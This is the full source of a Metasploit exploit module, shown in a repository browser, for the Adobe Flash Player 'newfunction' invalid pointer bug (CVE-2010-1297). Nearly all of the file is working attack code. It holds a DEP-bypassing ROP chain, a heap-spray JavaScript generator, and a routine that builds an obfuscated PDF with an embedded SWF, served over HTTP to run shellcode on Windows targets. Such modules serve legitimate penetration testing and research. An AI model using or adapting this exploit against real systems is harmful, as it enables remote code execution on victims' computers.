Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / adobe_flashplayer_newfunction.rb @ master

History | View | Annotate | Download (12.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13
require 'zlib'
14

    
15
class Metasploit3 < Msf::Exploit::Remote
16
        Rank = NormalRanking
17

    
18
        include Msf::Exploit::Remote::HttpServer::HTML
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
23
                        'Description'    => %q{
24
                                        This module exploits a vulnerability in the DoABC tag handling within
25
                                versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
26
                                vulnerable, as are any other applications that may embed Flash player.
27

    
28
                                Arbitrary code execution is achieved by embedding a specially crafted Flash
29
                                movie into a PDF document. An AcroJS heap spray is used in order to ensure
30
                                that the memory used by the invalid pointer issue is controlled.
31

    
32
                                NOTE: This module uses a similar DEP bypass method to that used within the
33
                                adobe_libtiff module. This method is unlikely to work across various
34
                                Windows versions due a the hardcoded syscall number.
35
                        },
36
                        'License'        => MSF_LICENSE,
37
                        'Author'         =>
38
                                [
39
                                        'Unknown',   # Found being openly exploited
40
                                        'jduck'      # Metasploit version
41
                                ],
42
                        'Version'        => '$Revision$',
43
                        'References'     =>
44
                                [
45
                                        ['CVE', '2010-1297'],
46
                                        ['OSVDB', '65141'],
47
                                        ['BID', '40586'],
48
                                        ['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
49
                                        # For SWF->PDF embedding
50
                                        ['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
51
                                ],
52
                        'DefaultOptions' =>
53
                                {
54
                                        'EXITFUNC'          => 'process',
55
                                        'HTTP::compression' => 'gzip',
56
                                        'HTTP::chunked'     => true,
57
                                        'InitialAutoRunScript' => 'migrate -f'
58
                                },
59
                        'Payload'        =>
60
                                {
61
                                        'Space'    => 1000,
62
                                        'BadChars' => "\x00",
63
                                        'DisableNops' => true
64
                                },
65
                        'Platform'       => 'win',
66
                        'Targets'        =>
67
                                [
68
                                        # Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
69
                                        # Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
70
                                        # Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
71
                                        [ 'Automatic', { }],
72
                                ],
73
                        'DisclosureDate' => 'Jun 04 2010',
74
                        'DefaultTarget'  => 0))
75
        end
76

    
77
        def exploit
78
                # load the static swf file
79
                path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-1297.swf" )
80
                fd = File.open( path, "rb" )
81
                @swf_data = fd.read(fd.stat.size)
82
                fd.close
83

    
84
                super
85
        end
86

    
87
        def on_request_uri(cli, request)
88

    
89
                print_status("Sending crafted PDF w/SWF")
90

    
91
                js_data = make_js(regenerate_payload(cli).encoded)
92
                pdf_data = make_pdf(@swf_data, js_data)
93
                send_response(cli, pdf_data, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
94

    
95
                # Handle the payload
96
                handler(cli)
97
        end
98

    
99

    
100
        def make_js(encoded_payload)
101

    
102
                # The following executes a ret2lib using BIB.dll
103
                # The effect is to bypass DEP and execute the shellcode in an indirect way
104
                stack_data = [
105
                        0xc0c0c0c,
106
                        0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
107
                        0xcccccccc,
108
                        0x70048ef,      # xchg eax,esp / ret
109
                        0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
110
                        0xcccccccc,
111
                        0x7009084,      # ret
112
                        0x7009084,      # ret
113
                        0x7009084,      # ret
114
                        0x7009084,      # ret
115
                        0x7009084,      # ret
116
                        0x7009084,      # ret
117
                        0x7009033,      # ret 0x18
118
                        0x7009084,      # ret
119
                        0xc0c0c0c,
120
                        0x7009084,      # ret
121
                        0x7009084,      # ret
122
                        0x7009084,      # ret
123
                        0x7009084,      # ret
124
                        0x7009084,      # ret
125
                        0x7009084,      # ret
126
                        0x7009084,      # ret
127
                        0x7009084,      # ret
128
                        0x7001599,      # pop ebp / ret
129
                        0x10124,
130
                        0x70072f7,      # pop eax / ret
131
                        0x10104,
132
                        0x70015bb,      # pop ecx / ret
133
                        0x1000,
134
                        0x700154d,      # mov [eax], ecx / ret
135
                        0x70015bb,      # pop ecx / ret
136
                        0x7ffe0300,     # -- location of KiFastSystemCall
137
                        0x7007fb2,      # mov eax, [ecx] / ret
138
                        0x70015bb,      # pop ecx / ret
139
                        0x10011,
140
                        0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
141
                        0x70015bb,      # pop ecx / ret
142
                        0x10100,
143
                        0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
144
                        0x70072f7,      # pop eax / ret
145
                        0x10011,
146
                        0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
147
                        0x7005c54,      # pop esi / add esp,0x14 / ret
148
                        0xffffffff,
149
                        0x10100,
150
                        0x0,
151
                        0x10104,
152
                        0x1000,
153
                        0x40,
154
                        # The next bit effectively copies data from the interleaved stack to the memory
155
                        # pointed to by eax
156
                        # The data copied is:
157
                        # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
158
                        # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
159
                        # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
160
                        0x700d731,      # mov eax, [ebp-0x24] / ret
161
                        0x70015bb,      # pop ecx / ret
162
                        0x9054905a,
163
                        0x700154d,      # mov [eax], ecx / ret
164
                        0x700a722,      # add eax, 4 / ret
165
                        0x70015bb,      # pop ecx / ret
166
                        0x5815eb5a,
167
                        0x700154d,      # mov [eax], ecx / ret
168
                        0x700a722,      # add eax, 4 / ret
169
                        0x70015bb,      # pop ecx / ret
170
                        0x18891a8b,
171
                        0x700154d,      # mov [eax], ecx / ret
172
                        0x700a722,      # add eax, 4 / ret
173
                        0x70015bb,      # pop ecx / ret
174
                        0x8304c083,
175
                        0x700154d,      # mov [eax], ecx / ret
176
                        0x700a722,      # add eax, 4 / ret
177
                        0x70015bb,      # pop ecx / ret
178
                        0xfb8104c2,
179
                        0x700154d,      # mov [eax], ecx / ret
180
                        0x700a722,      # add eax, 4 / ret
181
                        0x70015bb,      # pop ecx / ret
182
                        0xc0c0c0c,
183
                        0x700154d,      # mov [eax], ecx / ret
184
                        0x700a722,      # add eax, 4 / ret
185
                        0x70015bb,      # pop ecx / ret
186
                        0x5ebee75,
187
                        0x700154d,      # mov [eax], ecx / ret
188
                        0x700a722,      # add eax, 4 / ret
189
                        0x70015bb,      # pop ecx / ret
190
                        0xffffe6e8,
191
                        0x700154d,      # mov [eax], ecx / ret
192
                        0x700a722,      # add eax, 4 / ret
193
                        0x70015bb,      # pop ecx / ret
194
                        0x909090ff,
195
                        0x700154d,      # mov [eax], ecx / ret
196
                        0x700a722,      # add eax, 4 / ret
197
                        0x70015bb,      # pop ecx / ret
198
                        0x90909090,
199
                        0x700154d,      # mov [eax], ecx / ret
200
                        0x700a722,      # add eax, 4 / ret
201
                        0x70015bb,      # pop ecx / ret
202
                        0x90909090,
203
                        0x700154d,      # mov [eax], ecx / ret
204
                        0x700a722,      # add eax, 4 / ret
205
                        0x70015bb,      # pop ecx / ret
206
                        0x90ffffff,
207
                        0x700154d,      # mov [eax], ecx / ret
208
                        0x700d731,      # mov eax, [ebp-0x24] / ret
209
                        0x700112f       # call eax -- (execute stub to transition to full shellcode)
210
                ].pack('V*')
211

    
212
                var_unescape  = rand_text_alpha(rand(100) + 1)
213
                var_shellcode = rand_text_alpha(rand(100) + 1)
214

    
215
                var_start     = rand_text_alpha(rand(100) + 1)
216

    
217
                var_s         = 0x10000
218
                var_c         = rand_text_alpha(rand(100) + 1)
219
                var_b         = rand_text_alpha(rand(100) + 1)
220
                var_d         = rand_text_alpha(rand(100) + 1)
221
                var_3         = rand_text_alpha(rand(100) + 1)
222
                var_i         = rand_text_alpha(rand(100) + 1)
223
                var_4         = rand_text_alpha(rand(100) + 1)
224

    
225
                payload_buf = ''
226
                payload_buf << stack_data
227
                payload_buf << encoded_payload
228

    
229
                escaped_payload = Rex::Text.to_unescape(payload_buf)
230

    
231
                js = %Q|
232
var #{var_unescape} = unescape;
233
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
234
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
235
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
236
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
237
#{var_b} += #{var_shellcode};
238
#{var_b} += #{var_c};
239
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
240
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
241
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
242
var #{var_4} = new Array();
243
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
244
|
245

    
246
                js
247
        end
248

    
249
        def RandomNonASCIIString(count)
250
                result = ""
251
                count.times do
252
                        result << (rand(128) + 128).chr
253
                end
254
                result
255
        end
256

    
257
        def ioDef(id)
258
                "%d 0 obj\n" % id
259
        end
260

    
261
        def ioRef(id)
262
                "%d 0 R" % id
263
        end
264

    
265

    
266
        #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
267
        def nObfu(str)
268
                result = ""
269
                str.scan(/./u) do |c|
270
                        if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
271
                                result << "#%x" % c.unpack("C*")[0]
272
                        else
273
                                result << c
274
                        end
275
                end
276
                result
277
        end
278

    
279

    
280
        def ASCIIHexWhitespaceEncode(str)
281
                result = ""
282
                whitespace = ""
283
                str.each_byte do |b|
284
                        result << whitespace << "%02x" % b
285
                        whitespace = " " * (rand(3) + 1)
286
                end
287
                result << ">"
288
        end
289

    
290

    
291
        def make_pdf(swf, js)
292

    
293
                swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
294

    
295
                xref = []
296
                eol = "\n"
297
                endobj = "endobj" << eol
298

    
299
                # Randomize PDF version?
300
                pdf = "%PDF-1.5" << eol
301
                #pdf << "%" << RandomNonASCIIString(4) << eol
302

    
303
                # catalog
304
                xref << pdf.length
305
                pdf << ioDef(1) << nObfu("<</Type/Catalog")
306
                pdf << nObfu("/Pages ") << ioRef(3)
307
                pdf << nObfu("/OpenAction ") << ioRef(5)
308
                pdf << nObfu(">>")
309
                pdf << eol << endobj
310

    
311
                # pages array
312
                xref << pdf.length
313
                pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj
314

    
315
                # page 1
316
                xref << pdf.length
317
                pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
318
                pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
319
                pdf << nObfu(">>")
320
                pdf << eol << endobj
321

    
322
                # js action
323
                xref << pdf.length
324
                pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj
325

    
326
                # js stream
327
                xref << pdf.length
328
                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
329
                pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
330
                pdf << "stream" << eol
331
                pdf << compressed << eol
332
                pdf << "endstream" << eol
333
                pdf << endobj
334

    
335
                # swf annotation object
336
                xref << pdf.length
337
                pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
338
                pdf << nObfu("/Rect [20 20 187 69] ")
339
                pdf << nObfu("/RichMediaSettings ") << ioRef(8)
340
                pdf << nObfu("/RichMediaContent ") << ioRef(9)
341
                pdf << nObfu("/NM (") << swf_name << nObfu(")")
342
                pdf << nObfu(">>")
343
                pdf << eol << endobj
344

    
345
                # rich media settings
346
                xref << pdf.length
347
                pdf << ioDef(8)
348
                pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
349
                pdf << nObfu("/Activation ") << ioRef(10)
350
                pdf << nObfu("/Deactivation ") << ioRef(11)
351
                pdf << nObfu(">>")
352
                pdf << eol << endobj
353

    
354
                # rich media content
355
                xref << pdf.length
356
                pdf << ioDef(9)
357
                pdf << nObfu("<</Type/RichMediaContent")
358
                pdf << nObfu("/Assets ") << ioRef(12)
359
                pdf << nObfu("/Configurations [") << ioRef(14) << "]"
360
                pdf << nObfu(">>")
361
                pdf << eol << endobj
362

    
363
                # rich media activation / deactivation
364
                xref << pdf.length
365
                pdf << ioDef(10)
366
                pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
367
                pdf << eol << endobj
368

    
369
                xref << pdf.length
370
                pdf << ioDef(11)
371
                pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
372
                pdf << eol << endobj
373

    
374
                # rich media assets
375
                xref << pdf.length
376
                pdf << ioDef(12)
377
                pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
378
                pdf << eol << endobj
379

    
380
                # swf embeded file ref
381
                xref << pdf.length
382
                pdf << ioDef(13)
383
                pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
384
                pdf << eol << endobj
385

    
386
                # rich media configuration
387
                xref << pdf.length
388
                pdf << ioDef(14)
389
                pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
390
                pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
391
                pdf << eol << endobj
392

    
393
                # rich media isntance
394
                xref << pdf.length
395
                pdf << ioDef(15)
396
                pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
397
                pdf << nObfu("/Asset ") << ioRef(13)
398
                pdf << nObfu(">>")
399
                pdf << eol << endobj
400

    
401
                # swf stream
402
                # NOTE: This data is already compressed, no need to compress it again...
403
                xref << pdf.length
404
                pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
405
                pdf << "stream" << eol
406
                pdf << swf << eol
407
                pdf << "endstream" << eol
408
                pdf << endobj
409

    
410
                # trailing stuff
411
                xrefPosition = pdf.length
412
                pdf << "xref" << eol
413
                pdf << "0 %d" % (xref.length + 1) << eol
414
                pdf << "0000000000 65535 f" << eol
415
                xref.each do |index|
416
                        pdf << "%010d 00000 n" % index << eol
417
                end
418

    
419
                pdf << "trailer" << eol
420
                pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
421

    
422
                pdf << "startxref" << eol
423
                pdf << xrefPosition.to_s() << eol
424

    
425
                pdf << "%%EOF" << eol
426
                pdf
427
        end
428

    
429
end